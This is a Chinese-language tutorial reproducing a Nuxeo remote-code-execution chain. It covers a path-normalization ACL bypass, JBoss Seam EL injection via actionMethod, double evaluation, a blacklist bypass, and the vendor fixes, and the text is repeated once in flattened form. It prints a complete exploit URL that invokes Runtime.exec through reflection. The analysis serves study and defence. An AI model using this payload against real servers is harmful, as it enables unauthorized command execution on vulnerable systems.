nuxeo rce 漏洞复现分析
字数 2105 2025-08-27 12:33:43

Nuxeo RCE漏洞复现与分析教学文档

漏洞概述

本漏洞是一个在Nuxeo企业内容管理系统中发现的远程代码执行(RCE)漏洞链,由Orange安全研究员发现并报告。该漏洞链结合了路径规范化绕过、访问控制列表(ACL)绕过和JBoss Seam框架中的表达式语言(EL)注入,最终导致远程代码执行。

环境搭建

方法一:Docker远程调试

  1. 拉取Nuxeo 8分支版本:

    docker pull nuxeo:8
    
  2. 开启调试模式:

    • 修改/opt/nuxeo/server/bin/nuxeo.conf文件
    • 取消注释调试选项:
      JAVA_OPTS=$JAVA_OPTS -Xdebug -Xrunjdwp:transport=dt_socket,address=8787,server=y,suspend=n
      
  3. 安装必要模块:

    cd /opt/nuxeo/server
    ./bin/nuxeoctl mp-install nuxeo-jsf-ui
    
  4. 导出源代码:

    • 进入Docker容器,打包/opt/nuxeo/server目录
    • 将打包文件导出到宿主机
  5. 配置IDEA远程调试:

    • 导入server/nxserver/nuxeo.war
    • 添加必要的jar包(来自server/binserver/libserver/nxserver/bundlesserver/nxserver/lib
    • 配置远程调试连接(端口8787)
  6. 导入相关源代码:

    • Apache Tomcat 7.0.69源码
    • Nuxeo 8.10-SNAPSHOT源码
    • JBoss Seam 2.3.1源码

方法二:源码搭建(不推荐)

由于Nuxeo系统复杂,涉及Nuxeo、JBoss-Seam和Tomcat的集成,源码搭建较为困难,建议使用Docker方式。

漏洞分析

漏洞链组成

  1. 路径规范化错误导致ACL绕过
  2. 代码重用功能导致部分EL调用
  3. 双重评估导致EL注入
  4. 最终实现RCE

详细分析

1. ACL绕过漏洞

核心问题:Nuxeo与Tomcat对URL路径解析不一致

  • Nuxeo的ACL检查

    • NuxeoAuthenticationFilter实现
    • bypassAuth()方法检查请求页面是否在白名单中
    • getRequestedPage()方法处理路径时,会截断;后面的内容
  • Tomcat的路径处理

    • 会规范化路径,处理;..
    • 最终servlet路径与Nuxeo判断的路径不同

利用方式

http://target/nuxeo/login.jsp;/..;/oauth2Grant.jsp
  • Nuxeo看到的是login.jsp(在白名单中)
  • Tomcat最终处理的是oauth2Grant.jsp(需要认证)

2. JBoss Seam EL注入

actionMethod参数功能

  • org.jboss.seam.navigation.Pages.callAction()处理
  • 格式:文件名:EL表达式
  • 要求:
    1. 必须是文件名:EL表达式格式
    2. 文件名必须是真实存在的文件
    3. 文件中必须包含"#{EL表达式}"

安全检查

  • SafeActions.isActionSafe()方法验证:
    • 检查请求的EL表达式是否存在于指定文件中
    • 防止任意EL表达式执行

3. 双重EL评估

漏洞点

  • handleOutcome()方法会对EL表达式的结果再次评估
  • 如果结果本身也是EL表达式,会被再次执行

可利用文件
widgets/suggest_add_new_directory_entry_iframe.xhtml包含:

<nxu:set var="directoryNameForPopup" value="#{request.getParameter('directoryNameForPopup')}" cache="true">
  • 第一次执行:request.getParameter('directoryNameForPopup')
  • 第二次执行:参数值(如果也是EL表达式)

4. 绕过Seam黑名单

Seam 2.3.1中的黑名单(org/jboss/seam/blacklist.properties):

.getClass(
.class.
.addRole(
.getPassword(
.removeRole(
session['class']

绕过方式
使用数组表示法代替方法调用:

  • 原方式:"".getClass().forName("java.lang.Runtime")
  • 绕过方式:""["class"].forName("java.lang.Runtime")

漏洞利用

完整利用链

  1. 绕过ACL访问任意servlet
  2. 通过actionMethod调用特定xhtml文件中的EL表达式
  3. 利用双重评估执行自定义EL表达式
  4. 绕过黑名单实现RCE

最终Payload

http://target/nuxeo/login.jsp;/..;/create_file.xhtml?actionMethod=widgets/suggest_add_new_directory_entry_iframe.xhtml:request.getParameter('directoryNameForPopup')&directoryNameForPopup=/?key=#{''['class'].forName('java.lang.Runtime').getDeclaredMethods()[15].invoke(''['class'].forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null),'恶意命令')}

Payload解析

  • getDeclaredMethods()[7]getRuntime()
  • getDeclaredMethods()[15]exec(String)

漏洞修复

Nuxeo修复

修复点:NXP-24645

  • 改用httpRequest.getServletPath()获取路径
  • 确保与Tomcat的路径规范化一致

Seam修复

  1. NXP-24606

    • 增强黑名单,添加.forName(等关键字
  2. NXP-24604

    • 修改callAction()方法,直接返回false不执行任何EL表达式

总结

该漏洞链展示了多个安全问题的组合利用:

  1. 路径解析不一致导致的ACL绕过
  2. 框架特性导致的EL表达式注入
  3. 双重评估导致的安全边界突破
  4. 黑名单绕过技术

通过此案例,我们学习到:

  • 路径规范化在不同组件间的差异可能导致安全问题
  • 框架特性需要谨慎设计,避免被恶意利用
  • 表达式语言的执行需要严格限制
  • 黑名单机制容易被绕过,需要多层防御
Nuxeo RCE漏洞复现与分析教学文档 漏洞概述 本漏洞是一个在Nuxeo企业内容管理系统中发现的远程代码执行(RCE)漏洞链,由Orange安全研究员发现并报告。该漏洞链结合了路径规范化绕过、访问控制列表(ACL)绕过和JBoss Seam框架中的表达式语言(EL)注入,最终导致远程代码执行。 环境搭建 方法一:Docker远程调试 拉取Nuxeo 8分支版本: 开启调试模式: 修改 /opt/nuxeo/server/bin/nuxeo.conf 文件 取消注释调试选项: 安装必要模块: 导出源代码: 进入Docker容器,打包 /opt/nuxeo/server 目录 将打包文件导出到宿主机 配置IDEA远程调试: 导入 server/nxserver/nuxeo.war 添加必要的jar包(来自 server/bin 、 server/lib 、 server/nxserver/bundles 、 server/nxserver/lib ) 配置远程调试连接(端口8787) 导入相关源代码: Apache Tomcat 7.0.69源码 Nuxeo 8.10-SNAPSHOT源码 JBoss Seam 2.3.1源码 方法二:源码搭建(不推荐) 由于Nuxeo系统复杂,涉及Nuxeo、JBoss-Seam和Tomcat的集成,源码搭建较为困难,建议使用Docker方式。 漏洞分析 漏洞链组成 路径规范化错误导致ACL绕过 代码重用功能导致部分EL调用 双重评估导致EL注入 最终实现RCE 详细分析 1. ACL绕过漏洞 核心问题 :Nuxeo与Tomcat对URL路径解析不一致 Nuxeo的ACL检查 : 由 NuxeoAuthenticationFilter 实现 bypassAuth() 方法检查请求页面是否在白名单中 getRequestedPage() 方法处理路径时,会截断 ; 后面的内容 Tomcat的路径处理 : 会规范化路径,处理 ; 和 .. 最终servlet路径与Nuxeo判断的路径不同 利用方式 : Nuxeo看到的是 login.jsp (在白名单中) Tomcat最终处理的是 oauth2Grant.jsp (需要认证) 2. JBoss Seam EL注入 actionMethod参数功能 : 由 org.jboss.seam.navigation.Pages.callAction() 处理 格式: 文件名:EL表达式 要求: 必须是 文件名:EL表达式 格式 文件名必须是真实存在的文件 文件中必须包含 "#{EL表达式}" 安全检查 : SafeActions.isActionSafe() 方法验证: 检查请求的EL表达式是否存在于指定文件中 防止任意EL表达式执行 3. 双重EL评估 漏洞点 : handleOutcome() 方法会对EL表达式的结果再次评估 如果结果本身也是EL表达式,会被再次执行 可利用文件 : widgets/suggest_add_new_directory_entry_iframe.xhtml 包含: 第一次执行: request.getParameter('directoryNameForPopup') 第二次执行:参数值(如果也是EL表达式) 4. 绕过Seam黑名单 Seam 2.3.1中的黑名单( org/jboss/seam/blacklist.properties ): 绕过方式 : 使用数组表示法代替方法调用: 原方式: "".getClass().forName("java.lang.Runtime") 绕过方式: ""["class"].forName("java.lang.Runtime") 漏洞利用 完整利用链 绕过ACL访问任意servlet 通过actionMethod调用特定xhtml文件中的EL表达式 利用双重评估执行自定义EL表达式 绕过黑名单实现RCE 最终Payload Payload解析 : getDeclaredMethods()[7] → getRuntime() getDeclaredMethods()[15] → exec(String) 漏洞修复 Nuxeo修复 修复点 :NXP-24645 改用 httpRequest.getServletPath() 获取路径 确保与Tomcat的路径规范化一致 Seam修复 NXP-24606 : 增强黑名单,添加 .forName( 等关键字 NXP-24604 : 修改 callAction() 方法,直接返回false不执行任何EL表达式 总结 该漏洞链展示了多个安全问题的组合利用: 路径解析不一致导致的ACL绕过 框架特性导致的EL表达式注入 双重评估导致的安全边界突破 黑名单绕过技术 通过此案例,我们学习到: 路径规范化在不同组件间的差异可能导致安全问题 框架特性需要谨慎设计,避免被恶意利用 表达式语言的执行需要严格限制 黑名单机制容易被绕过,需要多层防御